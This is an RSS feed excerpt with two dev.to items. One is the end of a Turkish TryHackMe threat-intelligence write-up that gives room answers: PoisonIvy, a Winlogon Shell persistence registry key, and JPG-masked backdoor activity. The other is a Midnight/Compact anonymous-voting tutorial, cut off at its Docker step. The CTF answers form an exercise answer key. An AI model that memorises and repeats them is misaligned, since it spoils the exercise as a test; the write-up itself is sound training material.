&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq7hjftzjkujnydkksr3k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq7hjftzjkujnydkksr3k.png" alt=" " width="800" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What malware is the APT known to use for remote access? (Bu APT’nin uzaktan erişim amacıyla kullandığı bilinen kötü amaçlı yazılımlar nelerdir?)&lt;/p&gt;

&lt;p&gt;Malware dediği için direk sağ menüden malware basıyoruz, 5 tane var hepsini tek tek inceleyip desclerine baktığımızda PoisonIvy'nin descinde "PoisonIvy is a popular remote access tool" görüyoruz&lt;/p&gt;

&lt;p&gt;Cevap: PoisonIvy&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqnx2y6ometyyxz4e35ty.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqnx2y6ometyyxz4e35ty.png" alt=" " width="799" height="320"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F43snka3hhifrdj8rbbu7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F43snka3hhifrdj8rbbu7.png" alt=" " width="548" height="475"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What registry key has the APT created to establish persistence on target systems? APT, hedef sistemlerde kalıcılık sağlamak için hangi kayıt defteri anahtarını oluşturmuştur?&lt;/p&gt;

&lt;p&gt;​&lt;br&gt;
Tropic Trooper'ın overview kısmında en aşağı kaydırıp external referencesdaki mitre attack raporunu açıp içindeki urlye gidip inceleyelim.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsn8n0htfyikpb6dvqkjd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsn8n0htfyikpb6dvqkjd.png" alt=" " width="800" height="467"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Gördüğünüz gibi raporun içinde biraz aşağı kaydırdığımız zaman bu kayıt defteri anahtarına ulaşıyoruz.&lt;/p&gt;

&lt;p&gt;Cevap: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fipnvl3lzcoo03uh183nb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fipnvl3lzcoo03uh183nb.png" alt=" " width="800" height="465"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;During the stealth stage, which image file format does the group use to mask their backdoor activities? (Gizlilik aşamasında, grup arka kapı faaliyetlerini gizlemek için hangi görüntü dosyası formatını kullanıyor?)&lt;/p&gt;

&lt;p&gt;Buna gene raporda biraz arayarak ulaşabiliyoruz&lt;/p&gt;

&lt;p&gt;Cevap: JPG&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2iyr5u2xgpb7q8ajq74e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2iyr5u2xgpb7q8ajq74e.png" alt=" " width="799" height="108"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>tryhackme</category>
      <category>cti</category>
      <category>writeup</category>
    </item>
    <item>
      <title>Building Sybil-Resistant Anonymous Systems on Midnight: Mastering Historic Merkle Trees and Domain-Separated Nullifiers in Compact</title>
      <dc:creator>Efe Kırbaş</dc:creator>
      <pubDate>Wed, 02 Sep 2026 22:21:37 +0000</pubDate>
      <link>https://dev.to/efek/building-sybil-resistant-anonymous-systems-on-midnight-mastering-historic-merkle-trees-and-130a</link>
      <guid>https://dev.to/efek/building-sybil-resistant-anonymous-systems-on-midnight-mastering-historic-merkle-trees-and-130a</guid>
      <description>&lt;p&gt;If you have built decentralized applications on Ethereum or other EVM-compatible chains, you are intimately familiar with access control and state tracking:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Traditional EVM Pattern: Zero Privacy
mapping(address =&amp;gt; bool) public hasVoted;
function vote(uint256 proposalId, bool support) external {
    require(!hasVoted[msg.sender], "Already voted");
    hasVoted[msg.sender] = true;
    // ...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the EVM, &lt;strong&gt;everything is public&lt;/strong&gt;. Every transaction permanently stamps the caller’s address (&lt;code&gt;msg.sender&lt;/code&gt;) on the global ledger. If you want to verify that someone is an eligible DAO member, an accredited investor, or an airdrop recipient, you must reveal their address on-chain—linking their entire transactional history, wallet balance, and identity forever.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://midnight.network/" rel="noopener noreferrer"&gt;Midnight Network&lt;/a&gt; flips this paradigm. On Midnight, smart contracts written in &lt;strong&gt;Compact&lt;/strong&gt; execute inside local Zero-Knowledge (ZK) circuits on the user’s device before touching the network.&lt;/p&gt;

&lt;p&gt;However, moving to a privacy-first ZK architecture introduces a fundamental computer science dilemma:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;If a user’s identity is completely private, how do you prevent them from voting twice, claiming an airdrop multiple times, or double-spending a confidential voucher?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In this comprehensive guide, we will build a production-grade, Sybil-resistant anonymous action engine on Midnight. We will explore:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The Anonymous Membership Accumulator:&lt;/strong&gt; Why &lt;code&gt;HistoricMerkleTree&lt;/code&gt; solves asynchronous race conditions where standard Merkle trees fail.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Nullifier Pattern:&lt;/strong&gt; How deterministic, domain-separated cryptographic nullifiers prevent double-actions without doxxing the user.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Compact Witness Taint System:&lt;/strong&gt; Why the compiler requires &lt;code&gt;disclose()&lt;/code&gt; and why disclosing the nullifier does not compromise voter privacy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;End-to-End TypeScript SDK Integration:&lt;/strong&gt; Wiring the Compact contract to &lt;code&gt;@midnight-ntwrk/midnight-js-contracts&lt;/code&gt; and running the local Docker Proof Server.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Toolchain &amp;amp; Version Pinning
&lt;/h2&gt;

&lt;p&gt;To comply with Midnight’s strict toolchain requirements, all code in this guide is tested and pinned against the following active versions:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Pinned Version&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Compact Compiler / Toolchain&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;compact-v0.5.2&lt;/code&gt; (Language &lt;code&gt;0.23+&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Smart contract compilation &amp;amp; circuit generation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;@midnight-ntwrk/midnight-js-contracts&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;4.1.1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Contract deployment &amp;amp; transaction orchestration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;@midnight-ntwrk/compact-runtime&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.19.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;In-browser/Node.js Compact types &amp;amp; path handling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;@midnight-ntwrk/midnight-js-level-private-state-provider&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;4.1.1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Local encrypted private state storage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;@midnight-ntwrk/midnight-js-http-client-proof-provider&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;4.1.1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Bridge to local ZK proof generation server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Midnight Proof Server Docker Image&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;midnightntwrk/proof-server:8.1.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Local ZK proving engine (port &lt;code&gt;6300&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Architectural Deep Dive: How the Nullifier Pattern Works
&lt;/h2&gt;

&lt;p&gt;Before writing a single line of Compact code, let’s understand the cryptographic flow. We need to satisfy two opposing invariants:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Zero-Knowledge Membership:&lt;/strong&gt; The verifier (the blockchain) must be convinced that the caller is in the authorized roster without learning &lt;em&gt;which&lt;/em&gt; member they are.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unlinkable Single-Use Enforceability:&lt;/strong&gt; The blockchain must guarantee that the caller cannot execute the action more than once.
&lt;/li&gt;
&lt;/ol&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    autonumber
    actor Voter as User Device (Private Runtime)
    participant PS as Local Proof Server (Port 6300)
    participant Ledger as Midnight Blockchain (Public Ledger)

    Note over Voter: Holds private secret key (sk) in wallet
    Voter-&amp;gt;&amp;gt;Voter: 1. Fetch Merkle Path for commitment H(sk)
    Voter-&amp;gt;&amp;gt;Voter: 2. Derive Nullifier = persistentHash([sk, poll_id])
    Voter-&amp;gt;&amp;gt;PS: 3. Submit private inputs (sk, path) to generate ZK Proof
    PS--&amp;gt;&amp;gt;Voter: 4. Returns ZK Proof &amp;amp; public transcript
    Voter-&amp;gt;&amp;gt;Ledger: 5. Submit Tx: Proof + disclose(Nullifier) + vote choice
    Note over Ledger: 6. Circuit checks: &amp;lt;br/&amp;gt;• voter_tree.checkRoot(root) == true&amp;lt;br/&amp;gt;• spent_nullifiers.member(nullifier) == false
    Ledger-&amp;gt;&amp;gt;Ledger: 7. Record: spent_nullifiers.insert(nullifier, true)
    Ledger-&amp;gt;&amp;gt;Ledger: 8. Increment public vote counter&lt;/code&gt;&lt;/pre&gt;



&lt;h3&gt;
  
  
  The Three Cryptographic Pillars
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. Identity Commitment
&lt;/h4&gt;

&lt;p&gt;A voter possesses a 32-byte secret key &lt;code&gt;sk&lt;/code&gt; kept in local private storage. During registration, their public commitment is derived via a one-way collision-resistant hash:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Commitment = persistentHash&amp;lt;Bytes&amp;lt;32&amp;gt;&amp;gt;(sk)&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This commitment is inserted as a leaf into the on-chain Merkle tree.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Historic Merkle Membership Proof
&lt;/h4&gt;

&lt;p&gt;To vote, the user constructs a Merkle membership proof showing that their commitment exists in the tree. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Crucial Real-World Insight:&lt;/strong&gt; Why use &lt;code&gt;HistoricMerkleTree&lt;/code&gt; instead of a regular &lt;code&gt;MerkleTree&lt;/code&gt;?&lt;br&gt;
Generating a ZK proof on a user's machine typically takes 2–5 seconds. If another user registers their commitment during that window, the root of a standard Merkle tree advances. When the first user submits their transaction, it would revert with a stale root error! &lt;br&gt;
&lt;code&gt;HistoricMerkleTree&lt;/code&gt; keeps a bounded ring-buffer of recent valid roots on the ledger. The method &lt;code&gt;voter_tree.checkRoot(computed_root)&lt;/code&gt; verifies against &lt;em&gt;any&lt;/em&gt; valid recent root, completely eliminating concurrent front-running bugs.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  3. Domain-Separated Nullifier
&lt;/h4&gt;

&lt;p&gt;If the voter disclosed their identity commitment on-chain, anyone could match it against the registration list and deanonymize them. &lt;/p&gt;

&lt;p&gt;Instead, the circuit derives a &lt;strong&gt;Nullifier&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Nullifier = persistentHash&amp;lt;Vector&amp;lt;2, Bytes&amp;lt;32&amp;gt;&amp;gt;&amp;gt;([sk, poll_id])&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Deterministic:&lt;/strong&gt; The same &lt;code&gt;sk&lt;/code&gt; and &lt;code&gt;poll_id&lt;/code&gt; will always produce the exact same nullifier.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unlinkable:&lt;/strong&gt; Because &lt;code&gt;persistentHash&lt;/code&gt; is a one-way cryptographic function (based on SHA-256 compression), it is computationally infeasible to invert the nullifier to discover &lt;code&gt;sk&lt;/code&gt; or link it to the registration commitment &lt;code&gt;persistentHash(sk)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Domain-Separated:&lt;/strong&gt; Scoping the nullifier with &lt;code&gt;poll_id&lt;/code&gt; guarantees that voting in "Poll #1" generates a completely different nullifier than voting in "Poll #2".&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Smart Contract: &lt;code&gt;anonymous_voting.compact&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Here is the complete, production-ready Compact contract implementing this pattern. Save this file as &lt;code&gt;anonymous_voting.compact&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma language_version &amp;gt;= 0.23;
import CompactStandardLibrary;

// =========================================================================
// 1. PUBLIC LEDGER STATE
// Stored persistently on the Midnight blockchain and visible to everyone.
// =========================================================================

// Bounded Merkle tree of depth 16 storing voter commitments.
// Uses HistoricMerkleTree to accept recent valid roots and avoid race conditions.
export ledger voter_tree: HistoricMerkleTree&amp;lt;16, Bytes&amp;lt;32&amp;gt;&amp;gt;;

// Set-like mapping tracking consumed nullifiers to prevent double-voting.
export ledger spent_nullifiers: Map&amp;lt;Bytes&amp;lt;32&amp;gt;, Boolean&amp;gt;;

// Public vote tallies
export ledger votes_yes: Counter;
export ledger votes_no: Counter;

// =========================================================================
// 2. PRIVATE WITNESS DECLARATIONS
// Witnesses run strictly on the client machine. They supply private data to
// the local ZK circuit and are NEVER transmitted over the network.
// =========================================================================

// Retrieves the voter's raw private key from secure local storage
witness get_voter_secret(): Bytes&amp;lt;32&amp;gt;;

// Retrieves the Merkle inclusion proof for this voter's commitment
witness get_merkle_path(): MerkleTreePath&amp;lt;16, Bytes&amp;lt;32&amp;gt;&amp;gt;;

// =========================================================================
// 3. EXPORTED CIRCUITS
// Callable entrypoints that generate Zero-Knowledge proofs.
// =========================================================================

/**
 * @notice Registers a new voter by appending their public commitment to the Merkle tree.
 * @param voter_commitment The persistentHash(secret_key) of the voter.
 */
export circuit register_voter(voter_commitment: Bytes&amp;lt;32&amp;gt;): [] {
    // Append commitment leaf into the Historic Merkle tree
    voter_tree.insert(voter_commitment);
}

/**
 * @notice Casts an anonymous vote using a ZK membership proof and nullifier guard.
 * @param poll_id The 32-byte identifier of the specific poll or proposal.
 * @param choice True for 'Yes', False for 'No'.
 */
export circuit cast_vote(poll_id: Bytes&amp;lt;32&amp;gt;, choice: Boolean): [] {
    // Step 1: Read private data locally from the user's device
    const secret = get_voter_secret();
    const path = get_merkle_path();

    // Step 2: Cryptographically derive the voter's identity commitment: H(secret)
    const expected_leaf = persistentHash&amp;lt;Bytes&amp;lt;32&amp;gt;&amp;gt;(secret);

    // Step 3: ZK Invariant: Ensure the supplied Merkle path belongs to this secret
    assert(path.leaf == expected_leaf, "Merkle path leaf does not match derived secret commitment");

    // Step 4: Recompute the Merkle root from the private path inside the circuit
    // disclose() is required by the compiler because path originates from a witness
    const computed_root = merkleTreePathRoot&amp;lt;16, Bytes&amp;lt;32&amp;gt;&amp;gt;(disclose(path));

    // Step 5: Verify the root exists in the Historic Merkle Tree on-chain
    assert(voter_tree.checkRoot(computed_root), "Caller commitment is not present in the voter registry");

    // Step 6: Derive a deterministic, domain-separated nullifier: H([secret, poll_id])
    const nullifier = persistentHash&amp;lt;Vector&amp;lt;2, Bytes&amp;lt;32&amp;gt;&amp;gt;&amp;gt;([
        secret,
        poll_id
    ]);

    // Step 7: Enforce Sybil-Resistance Guard on the public ledger
    // We MUST use disclose() because 'nullifier' was computed from the private 'secret' witness.
    assert(!spent_nullifiers.member(disclose(nullifier)), "Double-action detected: nullifier already spent for this poll");

    // Step 8: Mark the nullifier as permanently spent on-chain
    spent_nullifiers.insert(disclose(nullifier), true);

    // Step 9: Increment the respective public tally
    if (choice) {
        votes_yes.increment(1);
    } else {
        votes_no.increment(1);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Answering the Tough Technical Questions: "Explain Your Work"
&lt;/h2&gt;

&lt;p&gt;The Midnight team values developers who deeply understand their circuits rather than copy-pasting templates. Here is the architectural rationale behind every critical decision in this contract:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Why does this circuit need &lt;code&gt;disclose()&lt;/code&gt; on &lt;code&gt;nullifier&lt;/code&gt;?
&lt;/h3&gt;

&lt;p&gt;In Compact, any variable derived from a &lt;code&gt;witness&lt;/code&gt; function is tagged with a &lt;strong&gt;witness taint&lt;/strong&gt; in the compiler’s type system. &lt;/p&gt;

&lt;p&gt;If you attempt to write a tainted variable to the ledger (&lt;code&gt;spent_nullifiers.insert(...)&lt;/code&gt;) or use it in a public lookup (&lt;code&gt;spent_nullifiers.member(...)&lt;/code&gt;), the compiler will throw a compile-time error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Type error: Witness-tainted value cannot be exposed to public ledger without explicit disclose()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Calling &lt;code&gt;disclose(nullifier)&lt;/code&gt; is an explicit cryptographic declaration: &lt;em&gt;"I am deliberately releasing this specific value to the public transaction transcript."&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Does &lt;code&gt;disclose(nullifier)&lt;/code&gt; compromise the voter's privacy?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt; The nullifier is computed via &lt;code&gt;persistentHash&amp;lt;Vector&amp;lt;2, Bytes&amp;lt;32&amp;gt;&amp;gt;&amp;gt;([sk, poll_id])&lt;/code&gt;. Because &lt;code&gt;persistentHash&lt;/code&gt; uses SHA-256 compression, it is computationally irreversible (preimage resistance). An outside observer learns &lt;em&gt;that&lt;/em&gt; a specific nullifier was consumed, but they cannot mathematically reverse it to discover &lt;code&gt;sk&lt;/code&gt;, nor can they link it back to the registration commitment &lt;code&gt;persistentHash(sk)&lt;/code&gt; stored in the Merkle tree.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. What breaks if you use &lt;code&gt;transientHash&lt;/code&gt; instead of &lt;code&gt;persistentHash&lt;/code&gt;?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Type Mismatch:&lt;/strong&gt; &lt;code&gt;transientHash&amp;lt;T&amp;gt;&lt;/code&gt; returns a &lt;code&gt;Field&lt;/code&gt; element, while &lt;code&gt;persistentHash&amp;lt;T&amp;gt;&lt;/code&gt; returns &lt;code&gt;Bytes&amp;lt;32&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persistence Guarantee:&lt;/strong&gt; &lt;code&gt;transientHash&lt;/code&gt; is optimized for temporary, ephemeral constraints inside circuits and is not guaranteed to remain stable across protocol upgrades. &lt;code&gt;persistentHash&lt;/code&gt; is strictly guaranteed to remain deterministic across ledger state transitions, which is mandatory for state variables like nullifiers.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. What breaks if you omit &lt;code&gt;poll_id&lt;/code&gt; from the nullifier?
&lt;/h3&gt;

&lt;p&gt;If you simply calculated &lt;code&gt;persistentHash(secret)&lt;/code&gt;, the voter would have only &lt;strong&gt;one&lt;/strong&gt; universal nullifier across the entire lifecycle of the contract. Voting in Poll #1 would consume that nullifier, making it impossible for the user to ever vote in Poll #2! Including &lt;code&gt;poll_id&lt;/code&gt; creates distinct, domain-separated cryptographic pseudonyms for each proposal.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Why can't the frontend just pass the nullifier as a circuit argument?
&lt;/h3&gt;

&lt;p&gt;If &lt;code&gt;cast_vote&lt;/code&gt; accepted &lt;code&gt;nullifier: Bytes&amp;lt;32&amp;gt;&lt;/code&gt; as a public input argument, a malicious user could pass an arbitrary random 32-byte hash every time they called the function. They could vote a million times because each random hash would never collide with &lt;code&gt;spent_nullifiers&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;By computing the nullifier &lt;strong&gt;inside the ZK circuit directly from the private witness &lt;code&gt;secret&lt;/code&gt;&lt;/strong&gt;, the ZK proof mathematically binds the vote to the voter’s true private key.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Why does &lt;code&gt;merkleTreePathRoot&lt;/code&gt; require &lt;code&gt;disclose(path)&lt;/code&gt;?
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;path&lt;/code&gt; is supplied by the client-side witness &lt;code&gt;get_merkle_path()&lt;/code&gt;. In Compact's type system, all witness data carries the &lt;code&gt;witness&lt;/code&gt; privacy effect (taint). When computing a root to verify against the public ledger's &lt;code&gt;HistoricMerkleTree&lt;/code&gt;, the compiler requires &lt;code&gt;disclose(path)&lt;/code&gt;. Disclosing the sibling hash path does not compromise voter identity because the voter's raw secret key and individual leaf remain protected and verified through the in-circuit assertion &lt;code&gt;path.leaf == expected_leaf&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Client Integration: TypeScript &amp;amp; Midnight.js SDK
&lt;/h2&gt;

&lt;p&gt;Now let's look at how an off-chain application interacts with this contract using &lt;code&gt;@midnight-ntwrk/midnight-js-contracts&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Project Dependencies (&lt;code&gt;package.json&lt;/code&gt;)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"midnight-anonymous-voting"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"module"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"@midnight-ntwrk/compact-runtime"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0.19.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"@midnight-ntwrk/midnight-js-contracts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"4.1.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"@midnight-ntwrk/midnight-js-http-client-proof-provider"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"4.1.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"@midnight-ntwrk/midnight-js-indexer-public-data-provider"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"4.1.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"@midnight-ntwrk/midnight-js-level-private-state-provider"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"4.1.1"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"devDependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"typescript"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^5.4.0"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Launching the Local Proof Server
&lt;/h3&gt;

&lt;p&gt;Before running transactions, start the Midnight Proof Server container via Docker. This server handles the heavy zero-knowledge arithmetic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
